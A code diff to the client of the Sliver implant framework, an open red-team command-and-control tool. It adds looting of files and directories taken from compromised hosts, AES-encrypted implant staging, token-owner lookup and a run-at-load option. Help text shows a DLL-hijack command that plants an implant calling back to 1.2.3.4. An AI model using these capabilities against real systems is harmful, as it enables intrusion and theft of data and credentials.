@@ -420,6 +426,8 @@ func getBOFArgs(ctx *grumble.Context, binPath string, ext *ExtensionManifest) ([
 	// Parse BOF arguments from grumble
 	for _, arg := range ext.Arguments {
 		switch arg.Type {
+		case "integer":
+			fallthrough
 		case "int":
 			val := ctx.Args.Int(arg.Name)
 			err = argsBuffer.AddInt(uint32(val))

client/command/filesystem/cat.go

@@ -27,6 +27,7 @@ import (
 	"github.com/alecthomas/chroma/formatters"
 	"github.com/alecthomas/chroma/lexers"
 	"github.com/alecthomas/chroma/styles"
+	"github.com/bishopfox/sliver/client/command/loot"
 	"github.com/bishopfox/sliver/client/console"
 	"github.com/bishopfox/sliver/protobuf/clientpb"
 	"github.com/bishopfox/sliver/protobuf/sliverpb"
@@ -49,10 +50,14 @@ func CatCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		return
 	}
 
+	ctrl := make(chan bool)
+	con.SpinUntil(fmt.Sprintf("Downloading %s ...", filePath), ctrl)
 	download, err := con.Rpc.Download(context.Background(), &sliverpb.DownloadReq{
 		Request: con.ActiveTarget.Request(ctx),
 		Path:    filePath,
 	})
+	ctrl <- true
+	<-ctrl
 	if err != nil {
 		con.PrintErrorf("%s\n", err)
 		return
@@ -74,16 +79,39 @@ func CatCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 
 // PrintCat - Print the download to stdout
 func PrintCat(download *sliverpb.Download, ctx *grumble.Context, con *console.SliverConsoleClient) {
-	var err error
+	var (
+		lootDownload bool = true
+		err          error
+	)
+	saveLoot := ctx.Flags.Bool("loot")
+	lootName := ctx.Flags.String("name")
+	userLootType := ctx.Flags.String("type")
+	userLootFileType := ctx.Flags.String("file-type")
 	if download.Response != nil && download.Response.Err != "" {
 		con.PrintErrorf("%s\n", download.Response.Err)
 		return
 	}
+
 	if download.Encoder == "gzip" {
 		download.Data, err = new(encoders.Gzip).Decode(download.Data)
+		if err != nil {
+			con.PrintErrorf("Decoding failed %s", err)
+		}
+	}
+
+	if saveLoot {
+		lootType, err := loot.ValidateLootType(userLootType)
 		if err != nil {
 			con.PrintErrorf("%s\n", err)
-			return
+			// Even if the loot type is bad, we can still print the result to the screen
+			// We will not loot it though
+			lootDownload = false
+		}
+		fileType := loot.ValidateLootFileType(userLootFileType, download.Data)
+
+		if lootDownload {
+			loot.LootDownload(download, lootName, lootType, fileType, ctx, con)
+			con.Printf("\n")
 		}
 	}
 	if ctx.Flags.Bool("colorize-output") {

client/command/filesystem/download.go

@@ -24,41 +24,28 @@ import (
 	"os"
 	"path"
 	"path/filepath"
+	"strings"
 
-	"github.com/AlecAivazis/survey/v2"
+	"github.com/bishopfox/sliver/client/command/loot"
 	"github.com/bishopfox/sliver/client/console"
 	"github.com/bishopfox/sliver/protobuf/clientpb"
 	"github.com/bishopfox/sliver/protobuf/sliverpb"
 	"github.com/bishopfox/sliver/util/encoders"
 	"google.golang.org/protobuf/proto"
+	"gopkg.in/AlecAivazis/survey.v1"
 
 	"github.com/desertbit/grumble"
 )
 
-// DownloadCmd - Download a file from the remote system
 func DownloadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	session, beacon := con.ActiveTarget.GetInteractive()
 	if session == nil && beacon == nil {
 		return
 	}
-
 	remotePath := ctx.Args.String("remote-path")
-	localPath := ctx.Args.String("local-path")
-
-	src := remotePath
-	fileName := filepath.Base(src)
-	dst, _ := filepath.Abs(localPath)
-	fi, err := os.Stat(dst)
-	if err != nil && !os.IsNotExist(err) {
-		con.PrintErrorf("%s\n", err)
-		return
-	}
-	if err == nil && fi.IsDir() {
-		dst = path.Join(dst, fileName)
-	}
 
 	ctrl := make(chan bool)
-	con.SpinUntil(fmt.Sprintf("%s -> %s", fileName, dst), ctrl)
+	con.SpinUntil(fmt.Sprintf("Downloading %s ...", remotePath), ctrl)
 	download, err := con.Rpc.Download(context.Background(), &sliverpb.DownloadReq{
 		Request: con.ActiveTarget.Request(ctx),
 		Path:    remotePath,
@@ -76,60 +63,85 @@ func DownloadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 				con.PrintErrorf("Failed to decode response %s\n", err)
 				return
 			}
-			PrintDownload(download, ctx, con)
+			HandleDownloadResponse(download, ctx, con)
 		})
 		con.PrintAsyncResponse(download.Response)
 	} else {
-		PrintDownload(download, ctx, con)
+		HandleDownloadResponse(download, ctx, con)
 	}
+
 }
 
-// PrintDownload - Print the download response, and save file to disk
-func PrintDownload(download *sliverpb.Download, ctx *grumble.Context, con *console.SliverConsoleClient) {
+func HandleDownloadResponse(download *sliverpb.Download, ctx *grumble.Context, con *console.SliverConsoleClient) {
+	var err error
 	if download.Response != nil && download.Response.Err != "" {
 		con.PrintErrorf("%s\n", download.Response.Err)
 		return
 	}
 
-	remotePath := ctx.Args.String("remote-path")
-	localPath := ctx.Args.String("local-path")
-
-	src := remotePath
-	fileName := filepath.Base(src)
-	dst, _ := filepath.Abs(localPath)
-	fi, err := os.Stat(dst)
-	if err != nil && !os.IsNotExist(err) {
-		con.PrintErrorf("%s\n", err)
-		return
-	}
-	if err == nil && fi.IsDir() {
-		dst = path.Join(dst, fileName)
-	}
-	if _, err := os.Stat(dst); err == nil {
-		overwrite := false
-		prompt := &survey.Confirm{Message: "Overwrite local file?"}
-		survey.AskOne(prompt, &overwrite, nil)
-		if !overwrite {
-			return
-		}
-	}
 	if download.Encoder == "gzip" {
 		download.Data, err = new(encoders.Gzip).Decode(download.Data)
 		if err != nil {
 			con.PrintErrorf("Decoding failed %s", err)
-			return
 		}
 	}
-	dstFile, err := os.Create(dst)
-	if err != nil {
-		con.PrintErrorf("Failed to open local file %s: %s\n", dst, err)
-		return
-	}
-	defer dstFile.Close()
-	n, err := dstFile.Write(download.Data)
-	if err != nil {
-		con.PrintErrorf("Failed to write data %v\n", err)
+
+	remotePath := ctx.Args.String("remote-path")
+	localPath := ctx.Args.String("local-path")
+	saveLoot := ctx.Flags.Bool("loot")
+
+	if saveLoot {
+		lootName := ctx.Flags.String("name")
+		lootType, err := loot.ValidateLootType(ctx.Flags.String("type"))
+		if err != nil {
+			con.PrintErrorf("%s\n", err)
+			return
+		}
+		// Hand off to the loot package to take care of looting
+		fileType := loot.ValidateLootFileType(ctx.Flags.String("file-type"), download.Data)
+		loot.LootDownload(download, lootName, lootType, fileType, ctx, con)
 	} else {
-		con.PrintInfof("Wrote %d bytes to %s\n", n, dstFile.Name())
+		fileName := filepath.Base(remotePath)
+		dst, err := filepath.Abs(localPath)
+		if err != nil {
+			con.PrintErrorf("%s\n", err)
+			return
+		}
+
+		fi, err := os.Stat(dst)
+		if err != nil && !os.IsNotExist(err) {
+			con.PrintErrorf("%s\n", err)
+			return
+		}
+		if err == nil && fi.IsDir() {
+			dst = path.Join(dst, fileName)
+		}
+
+		// Add an extension to a directory download if one is not provided.
+		if download.IsDir && (!strings.HasSuffix(dst, ".tgz") || !strings.HasSuffix(dst, ".tar.gz")) {
+			dst += ".tar.gz"
+		}
+
+		if _, err := os.Stat(dst); err == nil {
+			overwrite := false
+			prompt := &survey.Confirm{Message: "Overwrite local file?"}
+			survey.AskOne(prompt, &overwrite, nil)
+			if !overwrite {
+				return
+			}
+		}
+
+		dstFile, err := os.Create(dst)
+		if err != nil {
+			con.PrintErrorf("Failed to open local file %s: %s\n", dst, err)
+			return
+		}
+		defer dstFile.Close()
+		n, err := dstFile.Write(download.Data)
+		if err != nil {
+			con.PrintErrorf("Failed to write data %v\n", err)
+		} else {
+			con.PrintInfof("Wrote %d bytes to %s\n", n, dstFile.Name())
+		}
 	}
 }

client/command/filesystem/mv.go

@@ -0,0 +1,84 @@
+package filesystem
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2019  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"context"
+
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/protobuf/clientpb"
+	"github.com/bishopfox/sliver/protobuf/sliverpb"
+	"google.golang.org/protobuf/proto"
+
+	"github.com/desertbit/grumble"
+)
+
+func MvCmd(ctx *grumble.Context, con *console.SliverConsoleClient) (err error) {
+	session, beacon := con.ActiveTarget.GetInteractive()
+	if session == nil && beacon == nil {
+		return
+	}
+
+	src := ctx.Args.String("src")
+	if src == "" {
+		con.PrintErrorf("Missing parameter: src\n")
+		return
+	}
+
+	dst := ctx.Args.String("dst")
+	if dst == "" {
+		con.PrintErrorf("Missing parameter: dst\n")
+		return
+	}
+
+	mv, err := con.Rpc.Mv(context.Background(), &sliverpb.MvReq{
+		Request: con.ActiveTarget.Request(ctx),
+		Src:     src,
+		Dst:     dst,
+	})
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+
+	mv.Src, mv.Dst = src, dst
+
+	if mv.Response != nil && mv.Response.Async {
+		con.AddBeaconCallback(mv.Response.TaskID, func(task *clientpb.BeaconTask) {
+			err = proto.Unmarshal(task.Response, mv)
+			if err != nil {
+				con.PrintErrorf("Failed to decode response %s\n", err)
+				return
+			}
+		})
+		con.PrintAsyncResponse(mv.Response)
+	} else {
+		PrintMv(mv, con)
+	}
+	return
+}
+
+// PrintMv - Print the renamed file
+func PrintMv(mv *sliverpb.Mv, con *console.SliverConsoleClient) {
+	if mv.Response != nil && mv.Response.Err != "" {
+		con.PrintErrorf("%s\n", mv.Response.Err)
+		return
+	}
+	con.PrintInfof("%s > %s\n", mv.Src, mv.Dst)
+}

client/command/generate/generate-beacon.go

@@ -38,7 +38,17 @@ func parseBeaconFlags(ctx *grumble.Context, con *console.SliverConsoleClient, co
 	interval := time.Duration(ctx.Flags.Int64("days")) * time.Hour * 24
 	interval += time.Duration(ctx.Flags.Int64("hours")) * time.Hour
 	interval += time.Duration(ctx.Flags.Int64("minutes")) * time.Minute
-	interval += time.Duration(ctx.Flags.Int64("seconds")) * time.Second
+
+	/*
+		If seconds has not been specified but any of the other time units have, then do not add
+		the default 60 seconds to the interval.
+
+		If seconds have been specified, then add them regardless.
+	*/
+	if (ctx.Flags["seconds"].IsDefault && interval.Seconds() == 0) || (!ctx.Flags["seconds"].IsDefault) {
+		interval += time.Duration(ctx.Flags.Int64("seconds")) * time.Second
+	}
+
 	if interval < minBeaconInterval {
 		return ErrBeaconIntervalTooShort
 	}

client/command/generate/generate-stager.go

@@ -5,8 +5,6 @@ import (
 	"fmt"
 	"io/ioutil"
 	"net"
-	"os"
-	"path/filepath"
 	"regexp"
 	"strings"
 
@@ -95,15 +93,11 @@ func GenerateStagerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	}
 
 	if save != "" || format == "raw" {
-		saveTo, _ := filepath.Abs(save)
-		fi, err := os.Stat(saveTo)
+		saveTo, err := saveLocation(save, stageFile.GetFile().GetName())
 		if err != nil {
-			con.PrintErrorf("Failed to generate sliver stager %v\n", err)
 			return
 		}
-		if fi.IsDir() {
-			saveTo = filepath.Join(saveTo, stageFile.GetFile().GetName())
-		}
+
 		err = ioutil.WriteFile(saveTo, stageFile.GetFile().GetData(), 0700)
 		if err != nil {
 			con.PrintErrorf("Failed to write to: %s\n", saveTo)

client/command/generate/generate.go

@@ -258,6 +258,7 @@ func parseCompileFlags(ctx *grumble.Context, con *console.SliverConsoleClient) *
 	isShellcode := false
 
 	format := ctx.Flags.String("format")
+	runAtLoad := false
 	var configFormat clientpb.OutputFormat
 	switch format {
 	case "exe":
@@ -265,6 +266,7 @@ func parseCompileFlags(ctx *grumble.Context, con *console.SliverConsoleClient) *
 	case "shared":
 		configFormat = clientpb.OutputFormat_SHARED_LIB
 		isSharedLib = true
+		runAtLoad = ctx.Flags.Bool("run-at-load")
 	case "shellcode":
 		configFormat = clientpb.OutputFormat_SHELLCODE
 		isShellcode = true
@@ -303,6 +305,13 @@ func parseCompileFlags(ctx *grumble.Context, con *console.SliverConsoleClient) *
 		con.PrintInfof("Generated unique ip for wg peer tun interface: %s\n", tunIP.String())
 	}
 
+	// TODO: Use generics or something to check in a slice
+	connectionStrategy := ctx.Flags.String("strategy")
+	if connectionStrategy != "" && connectionStrategy != "s" && connectionStrategy != "r" && connectionStrategy != "rd" {
+		con.PrintErrorf("Invalid connection strategy: %s\n", connectionStrategy)
+		return nil
+	}
+
 	config := &clientpb.ImplantConfig{
 		GOOS:             targetOS,
 		GOARCH:           targetArch,
@@ -317,6 +326,7 @@ func parseCompileFlags(ctx *grumble.Context, con *console.SliverConsoleClient) *
 		WGKeyExchangePort: uint32(ctx.Flags.Int("key-exchange")),
 		WGTcpCommsPort:    uint32(ctx.Flags.Int("tcp-comms")),
 
+		ConnectionStrategy:  connectionStrategy,
 		ReconnectInterval:   int64(reconnectInterval) * int64(time.Second),
 		PollTimeout:         int64(pollTimeout) * int64(time.Second),
 		MaxConnectionErrors: uint32(maxConnectionErrors),
@@ -331,6 +341,8 @@ func parseCompileFlags(ctx *grumble.Context, con *console.SliverConsoleClient) *
 		IsSharedLib: isSharedLib,
 		IsService:   isService,
 		IsShellcode: isShellcode,
+
+		RunAtLoad: runAtLoad,
 	}
 
 	return config

client/command/help/long-help.go

@@ -657,8 +657,8 @@ supplied with the --profile flag.
 # Use a local DLL for a hijack
 dllhijack --reference-path c:\\windows\\system32\\msasn1.dll --file /tmp/blah.dll c:\\users\\bob\\appdata\\slack\\app-4.18.0\\msasn1.dll
 
-# Use a Sliver generated DLL for the hijack
-profiles new --format shared --mtls 1.2.3.4:1234 --profile-name dll
+# Use a Sliver generated DLL for the hijack (you must specify -R or --run-at-load)
+profiles new --format shared --mtls 1.2.3.4:1234 --profile-name dll --run-at-load
 dllhijack --reference-path c:\\windows\\system32\\msasn1.dll --profile dll c:\\users\\bob\\appdata\\slack\\app-4.18.0\\msasn1.dll
 
 # Use a local DLL as the reference DLL

client/command/info/info.go

@@ -19,10 +19,14 @@ package info
 */
 
 import (
+	"context"
 	"time"
 
 	"github.com/bishopfox/sliver/client/console"
 	consts "github.com/bishopfox/sliver/client/constants"
+	"github.com/bishopfox/sliver/protobuf/clientpb"
+	"github.com/bishopfox/sliver/protobuf/sliverpb"
+	"google.golang.org/protobuf/proto"
 
 	"github.com/desertbit/grumble"
 )
@@ -120,9 +124,50 @@ func WhoamiCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	if session == nil && beacon == nil {
 		return
 	}
+
+	var isWin bool
+	con.Printf("Logon ID: ")
 	if session != nil {
 		con.Printf("%s\n", session.Username)
+		if session.GetOS() == "windows" {
+			isWin = true
+		}
 	} else if beacon != nil {
 		con.Printf("%s\n", beacon.Username)
+		if beacon.GetOS() == "windows" {
+			isWin = true
+		}
+	}
+
+	if isWin {
+		cto, err := con.Rpc.CurrentTokenOwner(context.Background(), &sliverpb.CurrentTokenOwnerReq{
+			Request: con.ActiveTarget.Request(ctx),
+		})
+		if err != nil {
+			con.PrintErrorf("%s\n", err)
+			return
+		}
+
+		if cto.Response != nil && cto.Response.Async {
+			con.AddBeaconCallback(cto.Response.TaskID, func(task *clientpb.BeaconTask) {
+				err = proto.Unmarshal(task.Response, cto)
+				if err != nil {
+					con.PrintErrorf("Failed to decode response %s\n", err)
+					return
+				}
+				PrintTokenOwner(cto, con)
+			})
+			con.PrintAsyncResponse(cto.Response)
+		} else {
+			PrintTokenOwner(cto, con)
+		}
 	}
 }
+
+func PrintTokenOwner(cto *sliverpb.CurrentTokenOwner, con *console.SliverConsoleClient) {
+	if cto.Response != nil && cto.Response.Err != "" {
+		con.PrintErrorf("%s\n", cto.Response.Err)
+		return
+	}
+	con.PrintInfof("Current Token ID: %s", cto.Output)
+}

client/command/jobs/dns.go

@@ -31,9 +31,9 @@ import (
 func DNSListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 
 	domains := strings.Split(ctx.Flags.String("domains"), ",")
-	for _, domain := range domains {
+	for index, domain := range domains {
 		if !strings.HasSuffix(domain, ".") {
-			domain += "."
+			domains[index] += "."
 		}
 	}
 
@@ -47,6 +47,7 @@ func DNSListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		Port:       uint32(lport),
 		Canaries:   !ctx.Flags.Bool("no-canaries"),
 		Persistent: ctx.Flags.Bool("persistent"),
+		EnforceOTP: !ctx.Flags.Bool("disable-otp"),
 	})
 	con.Println()
 	if err != nil {

client/command/jobs/stage.go

@@ -26,6 +26,7 @@ import (
 	"github.com/bishopfox/sliver/client/command/generate"
 	"github.com/bishopfox/sliver/client/console"
 	"github.com/bishopfox/sliver/protobuf/clientpb"
+	"github.com/bishopfox/sliver/util"
 	"github.com/desertbit/grumble"
 )
 
@@ -33,6 +34,8 @@ import (
 func StageListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	profileName := ctx.Flags.String("profile")
 	listenerURL := ctx.Flags.String("url")
+	aesEncryptKey := ctx.Flags.String("aes-encrypt-key")
+	aesEncryptIv := ctx.Flags.String("aes-encrypt-iv")
 
 	if profileName == "" || listenerURL == "" {
 		con.PrintErrorf("Missing required flags, see `help stage-listener` for more info\n")
@@ -56,12 +59,39 @@ func StageListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		con.PrintErrorf("Profile not found\n")
 		return
 	}
+
+	aesEncrypt := false
+	if aesEncryptKey != "" {
+		// check if aes encryption key is correct length
+		if len(aesEncryptKey)%16 != 0 {
+			con.PrintErrorf("Incorect length of AES Key\n")
+			return
+		}
+
+		// set default aes iv
+		if aesEncryptIv == "" {
+			aesEncryptIv = "0000000000000000"
+		}
+
+		// check if aes iv is correct length
+		if len(aesEncryptIv)%16 != 0 {
+			con.PrintErrorf("Incorect length of AES IV\n")
+			return
+		}
+
+		aesEncrypt = true
+	}
+
 	stage2, err := generate.GetSliverBinary(profile, con)
 	if err != nil {
 		con.PrintErrorf("%s\n", err)
 		return
 	}
 
+	if aesEncrypt {
+		stage2 = util.PreludeEncrypt(stage2, []byte(aesEncryptKey), []byte(aesEncryptIv))
+	}
+
 	switch stagingURL.Scheme {
 	case "http":
 		ctrl := make(chan bool)
@@ -125,4 +155,9 @@ func StageListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		con.PrintErrorf("Unsupported staging protocol: %s\n", stagingURL.Scheme)
 		return
 	}
+
+	if aesEncrypt {
+		con.PrintInfof("AES KEY: %v\n", aesEncryptKey)
+		con.PrintInfof("AES IV: %v\n", aesEncryptIv)
+	}
 }

client/command/kill/kill.go

@@ -27,6 +27,7 @@ import (
 	"github.com/bishopfox/sliver/protobuf/clientpb"
 	"github.com/bishopfox/sliver/protobuf/commonpb"
 	"github.com/bishopfox/sliver/protobuf/sliverpb"
+	"github.com/bishopfox/sliver/server/core"
 	"github.com/desertbit/grumble"
 )
 
@@ -41,7 +42,7 @@ func KillCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		if !confirm {
 			return
 		}
-		err := KillSession(session, ctx.Flags.Bool("force"), con)
+		err := KillSession(session, ctx, con)
 		if err != nil {
 			con.PrintErrorf("%s\n", err)
 			return
@@ -54,7 +55,7 @@ func KillCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		if !confirm {
 			return
 		}
-		err := KillBeacon(beacon, ctx.Flags.Bool("force"), con)
+		err := KillBeacon(beacon, ctx, con)
 		if err != nil {
 			con.PrintErrorf("%s\n", err)
 			return
@@ -67,28 +68,31 @@ func KillCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	return
 }
 
-func KillSession(session *clientpb.Session, force bool, con *console.SliverConsoleClient) error {
+func KillSession(session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) error {
 	if session == nil {
 		return errors.New("session does not exist")
 	}
 	_, err := con.Rpc.Kill(context.Background(), &sliverpb.KillReq{
 		Request: &commonpb.Request{
 			SessionID: session.ID,
+			Timeout:   int64(ctx.Flags.Int("timeout")),
 		},
-		Force: force,
+		Force: ctx.Flags.Bool("force"),
 	})
+	core.Sessions.Remove(session.ID)
 	return err
 }
 
-func KillBeacon(beacon *clientpb.Beacon, force bool, con *console.SliverConsoleClient) error {
+func KillBeacon(beacon *clientpb.Beacon, ctx *grumble.Context, con *console.SliverConsoleClient) error {
 	if beacon == nil {
 		return errors.New("session does not exist")
 	}
 	_, err := con.Rpc.Kill(context.Background(), &sliverpb.KillReq{
 		Request: &commonpb.Request{
 			BeaconID: beacon.ID,
+			Timeout:  int64(ctx.Flags.Int("timeout")),
 		},
-		Force: force,
+		Force: ctx.Flags.Bool("force"),
 	})
 	return err
 

client/command/loot/helpers.go

@@ -176,7 +176,11 @@ func SelectLoot(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) (*clientpb.Loot
 	buf := bytes.NewBufferString("")
 	table := tabwriter.NewWriter(buf, 0, 2, 2, ' ', 0)
 	for _, loot := range allLoot.Loot {
-		fmt.Fprintf(table, "%s\t%s\t%s\t\n", loot.Name, loot.Type, loot.LootID)
+		if loot.Name == loot.File.Name {
+			fmt.Fprintf(table, "%s\t%s\t%s\t\n", loot.Name, loot.Type, loot.LootID)
+		} else {
+			fmt.Fprintf(table, "%s\t%s\t%s\t%s\t\n", loot.Name, loot.File.Name, loot.Type, loot.LootID)
+		}
 	}
 	table.Flush()
 	options := strings.Split(buf.String(), "\n")

client/command/loot/loot.go

@@ -159,14 +159,15 @@ func PrintAllLootTable(stdout io.Writer, allLoot *clientpb.AllLoot) {
 	table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
 
 	// Column Headers
-	fmt.Fprintln(table, "Type\tName\tUUID\t")
-	fmt.Fprintf(table, "%s\t%s\t%s\t\n",
+	fmt.Fprintln(table, "Type\tName\tFile Name\tUUID\t")
+	fmt.Fprintf(table, "%s\t%s\t%s\t%s\t\n",
 		strings.Repeat("=", len("Type")),
 		strings.Repeat("=", len("Name")),
+		strings.Repeat("=", len("File Name")),
 		strings.Repeat("=", len("UUID")),
 	)
 	for _, loot := range allLoot.Loot {
-		fmt.Fprintf(table, "%s\t%s\t%s\t\n", lootTypeToStr(loot.Type), loot.Name, loot.LootID)
+		fmt.Fprintf(table, "%s\t%s\t%s\t%s\t\n", lootTypeToStr(loot.Type), loot.Name, loot.File.Name, loot.LootID)
 	}
 
 	table.Flush()
@@ -401,7 +402,7 @@ func isText(sample []byte) bool {
 			// last char may be incomplete - ignore
 			break
 		}
-		if c == 0xFFFD || c < ' ' && c != '\n' && c != '\t' && c != '\f' {
+		if c == 0xFFFD || c < ' ' && c != '\n' && c != '\t' && c != '\f' && c != '\r' {
 			// decoding error or control character - not a text file
 			return false
 		}

client/command/loot/remote.go

@@ -19,9 +19,14 @@ package loot
 */
 
 import (
+	"archive/tar"
+	"bytes"
+	"compress/gzip"
 	"context"
 	"fmt"
-	"path"
+	"io"
+	"path/filepath"
+	"strings"
 
 	"github.com/bishopfox/sliver/client/console"
 	"github.com/bishopfox/sliver/protobuf/clientpb"
@@ -29,8 +34,198 @@ import (
 	"github.com/bishopfox/sliver/protobuf/sliverpb"
 	"github.com/bishopfox/sliver/util/encoders"
 	"github.com/desertbit/grumble"
+	"google.golang.org/protobuf/proto"
 )
 
+func ValidateLootType(lootTypeInput string) (clientpb.LootType, error) {
+	var lootType clientpb.LootType
+	var err error
+
+	if lootTypeInput != "" {
+		lootType, err = lootTypeFromHumanStr(lootTypeInput)
+		if err != nil {
+			/*
+				If we get an error, that means that this loot type was invalid.
+				We will leave it up to the caller to handle the error (output it
+				to the console for example)
+			*/
+			return lootType, fmt.Errorf("Invalid loot type %s", lootTypeInput)
+		}
+	} else {
+		lootType = clientpb.LootType_LOOT_FILE
+	}
+
+	return lootType, err
+}
+
+func ValidateLootFileType(lootFileTypeInput string, data []byte) clientpb.FileType {
+	lootFileType, err := lootFileTypeFromHumanStr(lootFileTypeInput)
+	if lootFileType == -1 || err != nil {
+		if isText(data) {
+			lootFileType = clientpb.FileType_TEXT
+		} else {
+			lootFileType = clientpb.FileType_BINARY
+		}
+	}
+
+	return lootFileType
+}
+
+/*
+	Eventually this function needs to be refactored out, but we made the decision to
+	duplicate it for now
+*/
+func PerformDownload(remotePath string, fileName string, ctx *grumble.Context, con *console.SliverConsoleClient) (*sliverpb.Download, error) {
+	ctrl := make(chan bool)
+	con.SpinUntil(fmt.Sprintf("%s -> %s", fileName, "loot"), ctrl)
+	download, err := con.Rpc.Download(context.Background(), &sliverpb.DownloadReq{
+		Request: con.ActiveTarget.Request(ctx),
+		Path:    remotePath,
+	})
+	ctrl <- true
+	<-ctrl
+	if err != nil {
+		return nil, err
+	}
+	if download.Response != nil && download.Response.Async {
+		con.AddBeaconCallback(download.Response.TaskID, func(task *clientpb.BeaconTask) {
+			err = proto.Unmarshal(task.Response, download)
+			if err != nil {
+				con.PrintErrorf("Failed to decode response %s\n", err)
+			}
+		})
+		con.PrintAsyncResponse(download.Response)
+	}
+
+	if download.Response != nil && download.Response.Err != "" {
+		return nil, fmt.Errorf("%s\n", download.Response.Err)
+	}
+
+	// Decode the downloaded data if required
+	if download.Encoder == "gzip" {
+		download.Data, err = new(encoders.Gzip).Decode(download.Data)
+		if err != nil {
+			return nil, fmt.Errorf("Decoding failed %s", err)
+		}
+	}
+
+	return download, nil
+}
+
+func CreateLootMessage(fileName string, lootName string, lootType clientpb.LootType, lootFileType clientpb.FileType, data []byte) *clientpb.Loot {
+	if lootName == "" {
+		lootName = fileName
+	}
+
+	lootMessage := &clientpb.Loot{
+		Name:     lootName,
+		Type:     lootType,
+		FileType: lootFileType,
+		File: &commonpb.File{
+			Name: fileName,
+			Data: data,
+		},
+	}
+
+	if lootType == clientpb.LootType_LOOT_CREDENTIAL {
+		lootMessage.CredentialType = clientpb.CredentialType_FILE
+	}
+
+	return lootMessage
+}
+
+func SendLootMessage(loot *clientpb.Loot, con *console.SliverConsoleClient) {
+	control := make(chan bool)
+	con.SpinUntil(fmt.Sprintf("Sending looted file (%s) to the server...", loot.Name), control)
+
+	loot, err := con.Rpc.LootAdd(context.Background(), loot)
+	control <- true
+	<-control
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+	}
+
+	if loot.Name != loot.File.Name {
+		con.PrintInfof("Successfully looted %s (%s) (ID: %s)\n", loot.File.Name, loot.Name, loot.LootID)
+	} else {
+		con.PrintInfof("Successfully looted %s (ID: %s)\n", loot.Name, loot.LootID)
+	}
+
+	return
+}
+
+func LootDownload(download *sliverpb.Download, lootName string, lootType clientpb.LootType, fileType clientpb.FileType, ctx *grumble.Context, con *console.SliverConsoleClient) {
+	// Was the download successful?
+	if download.Response != nil && download.Response.Err != "" {
+		con.PrintErrorf("%s\n", download.Response.Err)
+		return
+	}
+
+	/*  Construct everything needed to send the loot to the server
+	If this is a directory, we will process each file individually
+	*/
+
+	// Let's handle the simple case of a file first
+	if !download.IsDir {
+		// filepath.Base does not deal with backslashes correctly in Windows paths, so we have to standardize the path to forward slashes
+		downloadPath := strings.ReplaceAll(download.Path, "\\", "/")
+		lootMessage := CreateLootMessage(filepath.Base(downloadPath), lootName, lootType, fileType, download.Data)
+		SendLootMessage(lootMessage, con)
+	} else {
+		// We have to decompress the gzip file first
+		decompressedDownload, err := gzip.NewReader(bytes.NewReader(download.Data))
+
+		if err != nil {
+			con.PrintErrorf("Could not decompress downloaded data: %s", err)
+			return
+		}
+
+		/*
+			Directories are stored as tar-ed gzip archives.
+			We have gotten rid of the gzip part, now we have to sort out the tar
+		*/
+		tarReader := tar.NewReader(decompressedDownload)
+
+		// Keep reading until we reach the end
+		for {
+			entryHeader, err := tarReader.Next()
+			if err == io.EOF {
+				// We have reached the end of the tar archive
+				break
+			}
+
+			if err != nil {
+				// Something is wrong with this archive. Stop reading.
+				break
+			}
+
+			if entryHeader == nil {
+				/*
+					If the entry is nil, skip it (not sure when this would happen,
+						but we do not want to attempt operations on something that is nil)
+				*/
+				continue
+			}
+
+			if entryHeader.Typeflag == tar.TypeDir {
+				// Keep going to dig into the directory
+				continue
+			}
+			// The implant should have only shipped us files (the implant resolves symlinks)
+
+			// Create a loot message for this file and ship it
+			/* Using io.ReadAll because it reads until EOF. We have already read the header, so the next EOF should
+			be the end of the file
+			*/
+			fileData, err := io.ReadAll(tarReader)
+			if err == nil {
+				lootMessage := CreateLootMessage(filepath.Base(entryHeader.Name), lootName, lootType, fileType, fileData)
+				SendLootMessage(lootMessage, con)
+			}
+		}
+	}
+}
+
 // LootAddRemoteCmd - Add a file from the remote system to the server as loot
 func LootAddRemoteCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	session := con.ActiveTarget.GetSessionInteractive()
@@ -38,77 +233,22 @@ func LootAddRemoteCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		return
 	}
 	remotePath := ctx.Args.String("path")
+	fileName := filepath.Base(remotePath)
 	name := ctx.Flags.String("name")
-	if name == "" {
-		name = path.Base(remotePath)
-	}
 
-	var lootType clientpb.LootType
-	var err error
-	lootTypeStr := ctx.Flags.String("type")
-	if lootTypeStr != "" {
-		lootType, err = lootTypeFromHumanStr(lootTypeStr)
-		if err == ErrInvalidLootType {
-			con.PrintErrorf("Invalid loot type %s", lootTypeStr)
-			return
-		}
-	} else {
-		lootType = clientpb.LootType_LOOT_FILE
-	}
-
-	ctrl := make(chan bool)
-	con.SpinUntil(fmt.Sprintf("Looting remote file %s", remotePath), ctrl)
-
-	download, err := con.Rpc.Download(context.Background(), &sliverpb.DownloadReq{
-		Request: con.ActiveTarget.Request(ctx),
